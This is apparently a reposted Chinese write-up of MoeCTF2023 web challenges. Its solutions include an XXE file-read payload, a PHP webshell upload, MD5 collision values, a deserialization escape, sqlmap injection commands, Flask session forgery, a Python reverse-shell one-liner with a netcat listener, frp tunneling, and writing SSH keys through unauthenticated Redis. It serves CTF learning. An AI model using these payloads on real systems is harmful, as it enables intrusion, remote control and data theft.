MoeCTF2023

编程入门 行业动态 更新时间:2024-10-27 16:38:25

MoeCTF2023

MoeCTF2023

文章目录

  • MoeCTF2023_Web
    • 入门指北
    • http
      • exp
    • 彼岸的flag
    • cookie
      • Api
      • exp
    • gas!gas!gas!
      • exp
    • 大海捞针
      • exp
    • 了解你的座驾
    • moe图床
    • meo图床
    • 夺命十三枪
    • signin
      • Source Code
      • exp
    • 出去旅游的心海
    • moeworld
      • 第一部分
      • 第二部分
      • 第三部分

MoeCTF2023_Web

入门指北

666c61673d6257396c5933526d6533637a62454e7662575666564739666257396c5131524758316379596c396a61474673624756755a3055684958303d
Hex解码:flag=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=
Base64解码:moectf{w3lCome_To_moeCTF_W2b_challengE!!}

http

exp


彼岸的flag

打开源代码Ctrl+F查找文本moectf{


cookie

Api

注册 POST /register

{"username":"koito","password":"123456"
}

登录 POST /login

{"username":"koito","password":"123456"
}

获取flag GET /flag

查询服务状态 GET /status

exp

1.直接访问flag GET /flag,需要注册登录

2.注册

3.登录

发现token=eyJ1c2VybmFtZSI6ICJ0ZXN0IiwgInBhc3N3b3JkIjogIjEyMzQ1NiIsICJyb2xlIjogInVzZXIifQ==

为Base64编码

eyJ1c2VybmFtZSI6ICJ0ZXN0IiwgInBhc3N3b3JkIjogIjEyMzQ1NiIsICJyb2xlIjogInVzZXIifQ==
Base64解码:{"username": "test", "password": "123456", "role": "user"}

4.用注册用户访问flag GET /flag发现需要admin权限

修改role为admin

{"username": "test", "password": "123456", "role": "admin"}
Base64编码:eyJ1c2VybmFtZSI6ICJ0ZXN0IiwgInBhc3N3b3JkIjogIjEyMzQ1NiIsICJyb2xlIjogImFkbWluIn0=


gas!gas!gas!

exp

1.观察Request,Response

  • Post参数driver,steering_control,throttle进行控制
  • 根据规则与Response,控制driver,steering_control,throttle
  • 当次Respnse中的session作为下一次Request的session,保持会话状态

2.编写脚本

import requests
import re
def find_flag(text):pattern = r'moectf\{(.+?)\}'matches = re.findall(pattern, text)flag="moectf{"+matches[0]+"}"return flagurl="http://localhost:11476/"
driver="1"
steering_control="0"#直行
throttle="2"#全开
payload =  {"driver": driver,"steering_control": steering_control,"throttle": throttle
}response = requests.post(url, data=payload)while 1:if "moectf{" in response.text:print(find_flag(response.text))break#当次Respnse中的session作为下一次Request的session,保持会话状态session = response.cookies.get('session')cookies = {" session": session}if "弯道向左" in response.text:steering_control="1"#右elif "弯道向右" in response.text:steering_control="-1"#左else:steering_control="0"#直行if "抓地力太大了!" in response.text:throttle="2"#全开elif "抓地力太小了!" in response.text:throttle="0"#松开else:throttle="1"#保持payload = {"driver": driver,"steering_control": steering_control,"throttle": throttle}response = requests.post(url, data=payload,cookies=cookies)

大海捞针

exp

  • 遍历/?id=<1-1000>,搜索Responsemoectf{
import requests
import redef find_flag(text):pattern = r'moectf\{(.+?)\}'matches = re.findall(pattern, text)flag="moectf{"+matches[0]+"}"return flagurl = "http://101.42.178.83:7770/?id={}"
# 945
for i in range(1000, 0,-1):new_url = url.format(i)print(new_url)respone = requests.get(new_url)if "moectf{" in respone.text:print(find_flag(respone.text))break

了解你的座驾

1.抓包发现xml_content根据xml的进行页面切换

%3Cxml%3E%3Cname%3EXDU+moeCTF+Flag%3C%2Fname%3E%3C%2Fxml%3E
URL解码:<xml><name>XDU+moeCTF+Flag</name></xml>

2.利用XEE漏洞(“XML External Entity” (XML 外部实体)漏洞)

<?xml version="1.0" encoding="utf-8"?> 	
<!DOCTYPE xxe[ <!ELEMENT test ANY ><!ENTITY xxe SYSTEM "file:///flag" >]>
<xml><name>&xxe;</name></xml>
URL解码:
%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%20%09%0A%3C!DOCTYPE%20xxe%5B%20%3C!ELEMENT%20test%20ANY%20%3E%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%20%3E%5D%3E%0A%3Cxml%3E%3Cname%3E%26xxe%3B%3C%2Fname%3E%3C%2Fxml%3E


moe图床

1.前后端均有后缀检测,.png绕过前端,.png.php绕过后端

2.访问/uploads/hack.png.php,php代码执行成功

3.Post传参shell=system(“系统命令”);调用系统命令获取flag


meo图床

1.上传任意符合格式图片后,访问上传页面发现name参数,修改name,报错发现file_get_contents()

2.利用../../../flag访问根目录文件,发现Fl3g_n0t_Here_dont_peek!!!!!.php

3.访问Fl3g_n0t_Here_dont_peek!!!!!.php

<?phphighlight_file(__FILE__);if (isset($_GET['param1']) && isset($_GET['param2'])) {$param1 = $_GET['param1'];$param2 = $_GET['param2'];if ($param1 !== $param2) {$md5Param1 = md5($param1);$md5Param2 = md5($param2);if ($md5Param1 == $md5Param2) {echo "O.O!! " . getenv("FLAG");} else {echo "O.o??";}} else {echo "o.O?";}
} else {echo "O.o?";
}?>
md5碰撞
param1=
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&param2=
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2


夺命十三枪

1.访问//Hanxin.exe.php得到php源代码

 <?php
highlight_file(__FILE__);require_once('Hanxin.exe.php');$Chant = isset($_GET['chant']) ? $_GET['chant'] : 'ĺ¤şĺ‘˝ĺä¸‰ćžŞ';$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';try{echo unserialize($after);
}catch (Exception $e) {echo "Even Caused A Glitch...";
}
?>
<?phpif (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {highlight_file(__FILE__);
}class Deadly_Thirteen_Spears{private static $Top_Secret_Long_Spear_Techniques_Manual = array("di_yi_qiang" => "Lovesickness","di_er_qiang" => "Heartbreak","di_san_qiang" => "Blind_Dragon","di_si_qiang" => "Romantic_charm","di_wu_qiang" => "Peerless","di_liu_qiang" => "White_Dragon","di_qi_qiang" => "Penetrating_Gaze","di_ba_qiang" => "Kunpeng","di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts","di_shi_qiang" => "Overlord","di_shi_yi_qiang" => "Letting_Go","di_shi_er_qiang" => "Decisive_Victory","di_shi_san_qiang" => "Unrepentant_Lethality");public static function Make_a_Move($move){foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){$move = str_replace($index, $movement, $move);}return $move;}
}class Omg_It_Is_So_Cool_Bring_Me_My_Flag{public $Chant = '';public $Spear_Owner = 'Nobody';function __construct($chant){$this->Chant = $chant;$this->Spear_Owner = 'Nobody';}function __toString(){if($this->Spear_Owner !== 'MaoLei'){return 'Far away from COOL...';}else{return "Omg You're So COOOOOL!!! " . getenv('FLAG');}}
}?> 
  1. 构造$after(s:11:"Spear_Owner";s:6:"MaoLei";)echo unserialize($after);触发__toString()获取flag
  • 利用Deadly_Thirteen_Spears::Make_a_Move()字符数增加关系闭合Chant
         字符数变化(strlen($index)-strlen($movement))
di_yi_qiang -1
di_er_qiang 1
di_san_qiang 0
di_si_qiang -3
di_wu_qiang 3
di_liu_qiang 0
di_qi_qiang -5
di_ba_qiang 4
di_jiu_qiang -20
di_shi_qiang 4
di_shi_yi_qiang 5
di_shi_er_qiang -1
di_shi_san_qiang -5
  • ";s:11:"Spear_Owner";s:6:"MaoLei";}需要35字符di_jiu_qiangdi_qi_qiangdi_qi_qiangdi_yi_qiangdi_yi_qiangdi_si_qiang20+5+5+1+1+3=35字符
构造$after="O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:102:"Night_Parade_of_a_Hundred_GhostsPenetrating_GazePenetrating_GazeLovesicknessLovesicknessRomantic_charm";s:11:"Spear_Owner";s:6:"MaoLei";}";s:11:"Spear_Owner";s:6:"Nobody";}"
payload:
?chant=di_jiu_qiangdi_qi_qiangdi_qi_qiangdi_yi_qiangdi_yi_qiangdi_si_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}


signin

Source Code

from secrets import users, salt
import hashlib
import base64
import json
import http.serverwith open("flag.txt","r") as f:FLAG = f.read().strip()def gethash(*items):c = 0for item in items:if item is None:continuec ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?return hex(c)[2:]assert "admin" in users
assert users["admin"] == "admin"hashed_users = dict((k,gethash(k,v)) for k,v in users.items())eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?def decrypt(data:str):for x in range(5):data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?return data__page__ = base64.b64encode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT5zaWduaW48L3RpdGxlPgogICAgPHNjcmlwdD4KICAgICAgICBbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoK3t9K1tdKVsrISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXVtbXV0rW10pWytbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoW10rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKVshK1tdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKShbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXSshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyhbXStbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKCFbXStbXSlbIStbXSshIVtdXSsoW10re30pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSkpWyErW10rISFbXSshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0pKCErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKChbXSt7fSlbK1tdXSlbK1tdXSsoIStbXSshIVtdKyEhW10rW10pKyhbXVtbXV0rW10pWyErW10rISFbXV0pKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXSt7fSlbKyEhW11dKygre30rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSkKICAgICAgICB2YXIgXzB4ZGI1ND1bJ3N0cmluZ2lmeScsJ2xvZycsJ3Bhc3N3b3JkJywnL2xvZ2luJywnUE9TVCcsJ2dldEVsZW1lbnRCeUlkJywndGhlbiddO3ZhciBfMHg0ZTVhPWZ1bmN0aW9uKF8weGRiNTRmYSxfMHg0ZTVhOTQpe18weGRiNTRmYT1fMHhkYjU0ZmEtMHgwO3ZhciBfMHg0ZDhhNDQ9XzB4ZGI1NFtfMHhkYjU0ZmFdO3JldHVybiBfMHg0ZDhhNDQ7fTt3aW5kb3dbJ2FwaV9iYXNlJ109Jyc7ZnVuY3Rpb24gbG9naW4oKXtjb25zb2xlW18weDRlNWEoJzB4MScpXSgnbG9naW4nKTt2YXIgXzB4NWYyYmViPWRvY3VtZW50W18weDRlNWEoJzB4NScpXSgndXNlcm5hbWUnKVsndmFsdWUnXTt2YXIgXzB4NGZkMjI2PWRvY3VtZW50W18weDRlNWEoJzB4NScpXShfMHg0ZTVhKCcweDInKSlbJ3ZhbHVlJ107dmFyIF8weDFjNjFkOT1KU09OW18weDRlNWEoJzB4MCcpXSh7J3VzZXJuYW1lJzpfMHg1ZjJiZWIsJ3Bhc3N3b3JkJzpfMHg0ZmQyMjZ9KTt2YXIgXzB4MTBiOThlPXsncGFyYW1zJzphdG9iKGF0b2IoYXRvYihhdG9iKGF0b2IoXzB4MWM2MWQ5KSkpKSl9O2ZldGNoKHdpbmRvd1snYXBpX2Jhc2UnXStfMHg0ZTVhKCcweDMnKSx7J21ldGhvZCc6XzB4NGU1YSgnMHg0JyksJ2JvZHknOkpTT05bXzB4NGU1YSgnMHgwJyldKF8weDEwYjk4ZSl9KVtfMHg0ZTVhKCcweDYnKV0oZnVuY3Rpb24oXzB4Mjk5ZDRkKXtjb25zb2xlW18weDRlNWEoJzB4MScpXShfMHgyOTlkNGQpO30pO30KICAgIDwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPmV6U2lnbmluPC9oMT4KICAgIDxwPlNpZ24gaW4gdG8geW91ciBhY2NvdW50PC9wPgogICAgPHA+ZGVmYXVsdCB1c2VybmFtZSBhbmQgcGFzc3dvcmQgaXMgYWRtaW4gYWRtaW48L3A+CiAgICA8cD5Hb29kIEx1Y2shPC9wPgoKICAgIDxwPgogICAgICAgIHVzZXJuYW1lIDxpbnB1dCBpZD0idXNlcm5hbWUiPgogICAgPC9wPgogICAgPHA+CiAgICAgICAgcGFzc3dvcmQgPGlucHV0IGlkPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiPgogICAgPC9wPgogICAgPGJ1dHRvbiBpZCA9ICJsb2dpbiI+CiAgICAgICAgTG9naW4KICAgIDwvYnV0dG9uPgo8L2JvZHk+CjxzY3JpcHQ+CiAgICBjb25zb2xlLmxvZygiaGVsbG8/IikKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2dpbiIpLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgbG9naW4pOwo8L3NjcmlwdD4KPC9odG1sPg==")class MyHandler(http.server.BaseHTTPRequestHandler):def do_GET(self):try:if self.path == "/":self.send_response(200)self.end_headers()self.wfile.write(__page__)else:self.send_response(404)self.end_headers()self.wfile.write(b"404 Not Found")except Exception as e:print(e)self.send_response(500)self.end_headers()self.wfile.write(b"500 Internal Server Error")def do_POST(self):try:if self.path == "/login":body = self.rfile.read(int(self.headers.get("Content-Length")))payload = json.loads(body)params = json.loads(decrypt(payload["params"]))print(params)if params.get("username") == "admin":self.send_response(403)self.end_headers()self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")print("admin")returnif params.get("username") == params.get("password"):self.send_response(403)self.end_headers()self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")print("same")returnhashed = gethash(params.get("username"),params.get("password"))for k,v in hashed_users.items():if hashed == v:data = {"user":k,"hash":hashed,"flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"}self.send_response(200)self.end_headers()self.wfile.write(json.dumps(data).encode())print("success")returnself.send_response(403)self.end_headers()self.wfile.write(b"Invalid username or password")else:self.send_response(404)self.end_headers()self.wfile.write(b"404 Not Found")except Exception as e:print(e)self.send_response(500)self.end_headers()self.wfile.write(b"500 Internal Server Error")if __name__ == "__main__":server = http.server.HTTPServer(("", 9999), MyHandler)server.serve_forever()

exp

格式化绕过

原理:数字1和字符串’1’格式化的结果相同

{"username":"1","password":1}
五次base64编码:
VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJFeWVIaFZiR1J6VkZaRmQyTkVUbGhXYldoUVdsY3hVbVZWT1ZsaVIwWlNUVWR6ZVZaR1dtNWtNVUpTVUZRd1BRPT0=


出去旅游的心海

加载/wordpress发现网络资源logger.php

打开logger.php(/wordpress/wp-content/plugins/visitor-logging/logger.php),发现存在sql注入 注入点为参数time

<?php
/*
Plugin Name: Visitor auto recorder
Description: Automatically record visitor's identification, still in development, do not use in industry environment!
Author: KoKoMiStill in development! :)
*/// 不许偷看!这些代码我还在调试呢!
highlight_file(__FILE__);// 加载数据库配置,暂时用硬编码绝对路径
require_once('/var/www/html/wordpress/' . 'wp-config.php');$db_user = DB_USER; // 数据库用户名
$db_password = DB_PASSWORD; // 数据库密码
$db_name = DB_NAME; // 数据库名称
$db_host = DB_HOST; // 数据库主机// 我记得可以用wp提供的global $wpdb来操作数据库,等旅游回来再研究一下
// 这些是临时的代码$ip = $_POST['ip'];
$user_agent = $_POST['user_agent'];
$time = stripslashes($_POST['time']);$mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);// 检查连接是否成功
if ($mysqli->connect_errno) {echo '数据库连接失败: ' . $mysqli->connect_error;exit();
}$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)";// 执行插入
$result = mysqli_query($mysqli, $query);// 检查插入是否成功
if ($result) {echo '数据插入成功';
} else {echo '数据插入失败: ' . mysqli_error($mysqli);
}// 关闭数据库连接
mysqli_close($mysqli);//gpt真好用

bp抓包,请求方式改为POST

payload.txt:
POST /wordpress/wp-content/plugins/visitor-logging/logger.php HTTP/1.1
Host: 101.42.178.83:7770
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 8time=1

sqlmap注入

命令:python sqlmap.py -r “.\payload.txt” -p time --dbs

发现数据库wordpress

命令:python sqlmap.py “.\payload.txt” -p time -D wordpress -tables

查看数据库wordpress下的所有表

表secret_of_kokomi疑似flag所在

命令:python sqlmap.py -r “.\payload.txt” -p time -D wordpress -T secret_of_kokomi --columns

查看表secret_of_kokomi下的所有字段

命令:python sqlmap.py -r “.\payload.txt” -p time -D wordpress -T secret_of_kokomi -C “content” --dump

查看字段content的内容


moeworld

第一部分

是个登录页面

注册登录发现hint

该账号cookie:session=eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6InRlc3QifQ.ZSPfTg.XSjrNN4YEJn1ewRVGAHLyArmTkc

Base64解码:

根据hint与键”power“、”user“爆破出secret_key,使用{‘power’: ‘admin’, ‘user’: ‘admin’}以root权限登录

import zlib
from itsdangerous import base64_decode
import ast
import os
from flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keyclass FSCM:def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)@staticmethoddef decode(session_cookie_value, secret_key=None):try:if secret_key is None:compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)if __name__ == "__main__":while True:cookie_value = 'eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6InRlc3QifQ.ZSPfTg.XSjrNN4YEJn1ewRVGAHLyArmTkc'secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()if secret_key:result = FSCM.decode(cookie_value, secret_key)else:result = FSCM.decode(cookie_value)if 'power' and 'user' in result:print(result, secret_key)# {'power': 'guest', 'user': 'test'} This-random-secretKey-you-can't-gete47cprint(FSCM.encode(secret_key, "{'power': 'admin', 'user': 'admin'}"))# eyJwb3dlciI6ImFkbWluIiwidXNlciI6ImFkbWluIn0.ZSPj4Q.O3zHf72gAmGNfgqC5eYYJ3MM_1Ybreak

发现新hint

访问/console用所给pin码223-317-007登录

反弹shell命令:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“攻击机ip”,端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);

攻击机监听端口命令:

netcat -lvvp 端口

获取第一部分flag

第二部分

从readme得到新hint

cat /etc/hosts查看主机与ip映射关系

发现两个Docker的ip:172.20.0.4、172.21.0.2 猜测子关掩码为16

B类地址:IP地址范围在128.0.0.0到191.255.255.255之间

用fscan扫描172.20.0.4/16、172.21.0.2/16两个网段与本机开放端口

发现172.21.0.0/16为外网 172.20.0.0/16为内网

根据hint规定,得到压缩包hint.zip的密码为22-3306-6379-8080

(由于本地搭的环境web端口改成11000,所以本机扫出来的端口是11000)

解压hint.zip获得新hint

利用frpc、proxychains搭建隧道代理

攻击机配置服务端

frps.ini:
[common]
bind_addr=0.0.0.0
bind_port = 7000

执行命令:frps -c frps.ini

靶机配置客户端

执行命令:printf “[common]\nserver_addr = 192.168.24.132\nserver_port = 7000\n[plugin_socks5]\ntype = tcp\nremote_port = 7777\nplugin = socks5\n” > frpc1.ini

连接命令:frpc -c frpc1.ini

连接成功如下:

proxychains4设置代理端口:socks5 127.0.0.1 7777

在/app/datasql.py中发现数据库root密码:root

连接172.20.0.3数据库获取第二部分flag

第三部分

直接连接172.20.0.2redis发现未授权访问

根据还开放的22端口,Redis密钥登录ssh

参考文章

设置redis密码:config set requirepass 密码

1.生成shh-rsa公钥密钥:ssh-keygen -t rsa

2.导出公钥id_rsa.pub(\n\n是为了防止乱码):
(echo -e “\n\n”; cat /root/.ssh/id_rsa.pub; echo -e “\n\n”) > key.txt

3.将生成的公钥写入redis服务器的内存之中:

cat key.txt |proxychains4 redis-cli -h 172.20.0.2 -a root -x set ssh_key

4.查看ssh_key是否导入:KEYS *

5.将ssh_key保存进 SSH 公钥认证的授权密钥列表/root/.ssh/authorized_keys:

config set dir /root/.ssh

config set dbfilename authorized_keys

save

用私钥id_rsa来ssh连接,获取第三部分flag

更多推荐

MoeCTF2023

本文发布于:2024-02-10 21:01:22,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1677262.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!